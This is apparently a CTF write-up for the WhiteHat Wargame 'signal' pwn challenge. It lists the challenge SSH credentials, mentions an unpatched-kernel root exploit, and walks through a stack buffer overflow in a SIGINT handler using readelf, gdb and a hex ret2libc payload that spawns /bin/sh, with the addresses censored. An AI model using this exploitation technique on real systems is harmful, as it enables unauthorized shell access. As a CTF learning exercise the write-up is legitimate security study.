Link: https://wargame.whitehat.vn/Challenges/DetailContest/136
Author: WhiteHat Wargame
Points: 100
Category: pwn
Description
ssh [email protected] 1094
68bZ$wRn
Resources
- the binary (gzipped)
Walkthrough
part 1
We have been given shell access to a remote machine. The pwnguest user was extremely limited – no access to anything except the home directory. There lied two particularly interesting files:
- flag.txt, which was owned by root and readable only by pwnreader group
- and signal, which was executable by the current user, owned by pwnreader group and had SGID set.
This has given a clear idea what was the intended solution to the task.
However, …
Broken task
The machine was running an outdated kernel, Linux ubuntu 3.13.0-32-generic be exact, with a known privilege escalation exploit. Here are some resources on this topic:
The not necessarily intended solution
The easiest solution was to obtain a root shell using the aforementioned public exploit. The server has quickly been torn down. This gave an irresistable impression that, in fact one of the teams did obtain a root shell and they have also decided to sabotage the contest and took the machine down, preventing the other participants from scoring points.
Walkthrough
part 2 – the intended solution
Because the user available was extremely limited – no access to
/dev (and therefore
/dev/null),
scp was going mad. This has not been a serious limitation, the code for this task could be downloaded using a workaround, for example:
ssh -p1094 -lpwnguest 118.70.80.143 dd if=/home/ubuntu/signal >/tmp/signal
The file is 32-bit ELF executable binary:
signal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=cb0c7cda48b50c413181c4641fe98efe840f3364, not stripped
When executed, it installs a custom SIGINT handler, runs several threads, asks for input and when signalled with INT, sleeps, does some string operations and prints some garbage.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
__libc_start_main(0x80488a4, 1, 0xffbb4ee4, 0x80489b0 signal(SIGINT, 0x804878d) = 0 puts(">> Enter your name:") = 20 pthread_create(0x8c49008, 0, 0x8048883, 0) = 0 pthread_create(0x8c4900c, 0, 0x8048883, 0) = 0 pthread_create(0x8c49010, 0, 0x8048883, 0) = 0 pthread_create(0x8c49014, 0, 0x8048883, 0) = 0 pthread_create(0x8c49018, 0, 0x8048883, 0) = 0 pthread_join(0xf758bb40, 0, 0x8048883, 0) = 0 pthread_join(0xf6d8ab40, 0, 0x8048883, 0 --- SIGINT (Interrupt) --- puts("First Caught signal, coming out."...) = 35 sleep(3) = 0 printf("\nGoodbye") = 8 strlen("aaa") = 3 strncpy(0xffbb46c6, "aa", 2) = 0xffbb46c6 strtol(0xffbb46c6, 0, 16, 50) = 170 putchar(170, 0, 16, 50) = 170 putchar(170, 0, 16, 50) = 170 printf("%d %c\n", 170, '\252') = 6 strlen("aaa") = 3 strcpy(0xffbb46c8, "\252") = 0xffbb46c8 printf("\252") = 1 puts("\n---- Caught signal SIGINT, com"...) = 43 +++ killed by SIGKILL +++ |
Simplified C pseudocode for the signal handler looks like:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
void signal_handler() { __int32 _not_important_1; char _not_important_2; int _not_important_3; size_t _not_important_4; char src[32]; char dest; char format; int c; size_t i; puts("First Caught signal, coming out..."); sleep(3); printf("\nGoodbye"); for ( i = 0; i < strlen(name) * 2; ++i ) { strncpy(&dest, (const char *)(2 * i + name), 2); c = strtol(&dest, 0, 16); src[i] = putchar(c); printf("%d %c\n", c, putchar(c)); } strcpy(&format, src); printf(&format); puts("\n---- Caught signal SIGINT, coming out..."); } |
It is fairly easy to spot several flaws in this function.
- At line 22 there is a print format string vulnerability possible.
- At line 21 there is a stack buffer overflow vulnerability.
- At line 18 there is another stack buffer vulnerability.
We have decided to exploit the third option, however the second one overwrites the stack with shared data. Therefore a controlled user input must be safeguarded with a NULL terminating byte.
The binary has a non-executable stack and no canaries.
1 2 3 4 5 |
CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial |
Therefore it is not possible to inject shellcode onto the stack.
Searching the binary .rel.plt section for possible exploit entry points with readelf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
Relocation section '.rel.plt' at offset 0x4dc contains 16 entries: Offset Info Type Sym.Value Sym. Name 0804a00c 00000207 R_386_JUMP_SLOT 00000000 printf 0804a010 00000307 R_386_JUMP_SLOT 00000000 signal 0804a014 00000407 R_386_JUMP_SLOT 00000000 sleep 0804a018 00000507 R_386_JUMP_SLOT 00000000 strcpy 0804a01c 00000607 R_386_JUMP_SLOT 00000000 malloc 0804a020 00000707 R_386_JUMP_SLOT 00000000 puts 0804a024 00000807 R_386_JUMP_SLOT 00000000 strerror 0804a028 00000907 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804a02c 00000a07 R_386_JUMP_SLOT 00000000 strlen 0804a030 00000b07 R_386_JUMP_SLOT 00000000 __libc_start_main 0804a034 00000c07 R_386_JUMP_SLOT 00000000 putchar 0804a038 00000d07 R_386_JUMP_SLOT 00000000 strncpy 0804a03c 00000f07 R_386_JUMP_SLOT 00000000 pthread_join 0804a040 00001007 R_386_JUMP_SLOT 00000000 __isoc99_scanf 0804a044 00001107 R_386_JUMP_SLOT 00000000 pthread_create 0804a048 00001307 R_386_JUMP_SLOT 00000000 strtol |
yields nothing of interest (no system or execve).
So the last resort will be a classic return to libc attack.
To perform it
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
Dynamic section at offset 0xf0c contains 25 entries: Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libpthread.so.0] 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000c (INIT) 0x804855c 0x0000000d (FINI) 0x8048a24 0x00000019 (INIT_ARRAY) 0x8049f00 0x0000001b (INIT_ARRAYSZ) 4 (bytes) 0x0000001a (FINI_ARRAY) 0x8049f04 0x0000001c (FINI_ARRAYSZ) 4 (bytes) 0x6ffffef5 (GNU_HASH) 0x80481ac 0x00000005 (STRTAB) 0x804831c 0x00000006 (SYMTAB) 0x80481cc 0x0000000a (STRSZ) 300 (bytes) 0x0000000b (SYMENT) 16 (bytes) 0x00000015 (DEBUG) 0x0 0x00000003 (PLTGOT) 0x804a000 0x00000002 (PLTRELSZ) 128 (bytes) 0x00000014 (PLTREL) REL 0x00000017 (JMPREL) 0x80484dc 0x00000011 (REL) 0x80484d4 0x00000012 (RELSZ) 8 (bytes) 0x00000013 (RELENT) 8 (bytes) 0x6ffffffe (VERNEED) 0x8048474 0x6fffffff (VERNEEDNUM) 2 0x6ffffff0 (VERSYM) 0x8048448 0x00000000 (NULL) 0x0 |
both libc and libpthread from the original system will be required(Unfortunately the system was and is down, so we were unable to retrieve the libraries).
The signal function actually loops through the given name, parsing two characters at a time as a hexadecimal value and writes it into a buffer on the stack, without checking for the buffer length. So the goal is to provide enough data to fill the buffer, overflow it and build a valid stack frame for a libc function that executes shell, system@glibc in this case, but, for example, execve would also work.
The required input is: 4142434445464748495041424344454647484950414243444546474849504142434400which becomes
1 2 3 |
ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCD[NULL] ^ ^ |______| |
on the stack. Characters from the first C to J are the addresses of system@glibc and the pointer to it’s argument – "/bin/sh".
To retrieve the aforementioned addresses gdb can be used:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
gdb-peda$ file signal Reading symbols from signal...(no debugging symbols found)...done. gdb-peda$ start [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0xf7faf000 --> 0x1a6da8 ECX: 0xc9045fc9 EDX: 0xffffd634 --> 0xf7faf000 --> 0x1a6da8 ESI: 0x0 EDI: 0x0 EBP: 0xffffd608 --> 0x0 ESP: 0xffffd608 --> 0x0 EIP: 0x80488a7 (<main+3>: and esp,0xfffffff0) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80488a3 <doit+32>: ret 0x80488a4 <main>: push ebp 0x80488a5 <main+1>: mov ebp,esp => 0x80488a7 <main+3>: and esp,0xfffffff0 0x80488aa <main+6>: sub esp,0x20 0x80488ad <main+9>: mov DWORD PTR [esp+0x4],0x804878d 0x80488b5 <main+17>: mov DWORD PTR [esp],0x2 0x80488bc <main+24>: call 0x80485a0 <signal@plt> [------------------------------------stack-------------------------------------] 0000| 0xffffd608 --> 0x0 0004| 0xffffd60c --> 0xf7e21ad3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) 0008| 0xffffd610 --> 0x1 0012| 0xffffd614 --> 0xffffd6a4 --> 0xffffd7f6 ("/home/u/signal") 0016| 0xffffd618 --> 0xffffd6ac --> 0xffffd805 ("LC_PAPER=C.UTF-8") 0020| 0xffffd61c --> 0xf7feacca (add ebx,0x12336) 0024| 0xffffd620 --> 0x1 0028| 0xffffd624 --> 0xffffd6a4 --> 0xffffd7f6 ("/home/u/signal") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Temporary breakpoint 1, 0x080488a7 in main () gdb-peda$ p/x &system $1 = 0xcensored gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xCensored ("/bin/sh") |
The architecture is x86 and therefore pointers are in little endian convention, so the addresses must be written in reverse.
Finally, the exploit is: 4142censoredCensored41424344454647484950414243444546474849504142434400
Leave a Reply
You must be logged in to post a comment.